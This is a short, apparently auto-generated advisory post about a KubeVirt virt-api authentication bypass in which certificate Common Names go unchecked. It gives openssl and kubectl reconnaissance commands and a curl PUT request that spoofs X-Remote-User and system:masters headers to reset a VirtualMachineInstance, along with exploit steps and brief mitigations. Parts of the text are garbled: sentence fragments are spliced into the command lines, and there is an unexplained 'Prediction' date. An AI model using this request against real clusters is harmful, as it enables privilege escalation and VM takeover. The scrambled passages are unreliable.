Listen to this Post
How the CVE Works
The vulnerability exists in the KubeVirt `virt-api` component, which mishandles mTLS authentication when acting as an aggregated API server for Kubernetes. The API server’s aggregator proxies requests to `virt-api` using a client certificate signed by the CA specified in --requestheader-client-ca-file. The `virt-api` component correctly verifies that the client’s certificate is signed by this trusted CA. However, it fails to perform a subsequent critical check: it does not validate the certificate’s Common Name (CN) field against the list of allowed names defined in the `extension-apiserver-authentication` ConfigMap. This flaw allows an attacker with any valid certificate signed by the trusted CA—not just the one intended for the aggregator (e.g., front-proxy-client)—to bypass authentication. By presenting a rogue certificate and spoofing the necessary user headers (like X-Remote-User), an attacker with network access to `virt-api` can impersonate the Kubernetes API server itself. This impersonation enables them to send arbitrary, authenticated commands to the virt-api, bypassing all RBAC controls and manipulating VirtualMachineInstance resources, leading to a full compromise of VM confidentiality, integrity, and availability.
DailyCVE Form
Platform: KubeVirt
Version: v1.2.0
Vulnerability: Authentication Bypass
Severity: Critical
date: 2025-05-18
Prediction: 2025-06-15
What Undercode Say:
`$ openssl x509 -text -in front-proxy-client.crt | grep “Subject:”`
`$ kubectl -n kube-system describe configmap extension-apiserver-authentication`
$ curl -ks --cert rogue.crt --key rogue.key https://virt-api:8443/v1`system:kube-aggregator`. Send PUT requests to sub-resource endpoints like `…/virtualmachineinstances/
`$ curl -ki --cert rogue.crt --key rogue.key -H 'X-Remote-User: system:kube-aggregator' -H 'X-Remote-Group: system:masters' https://virt-api:8443/apis/subresources.kubevirt.io/v1/namespaces/default/virtualmachineinstances/test-vmi/reset -XPUT`
<h2 style="color: blue;">How Exploit:</h2>
Compromise pod for network access. Steal or create a client certificate signed by the `requestheader-client-ca-file` CA. Use this certificate to connect directly to the `virt-api` service, spoofing the `X-Remote-User` and `X-Remote-Group` headers to impersonate a high-privilege identity like
Protection from this CVE
Patch KubeVirt. Restrict pod-to-API network access. Harden certificate private keys. Implement validating webhooks. Use network policies.
Impact:
Privilege Escalation. VM Lifecycle Manipulation. CIA Triad Violation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
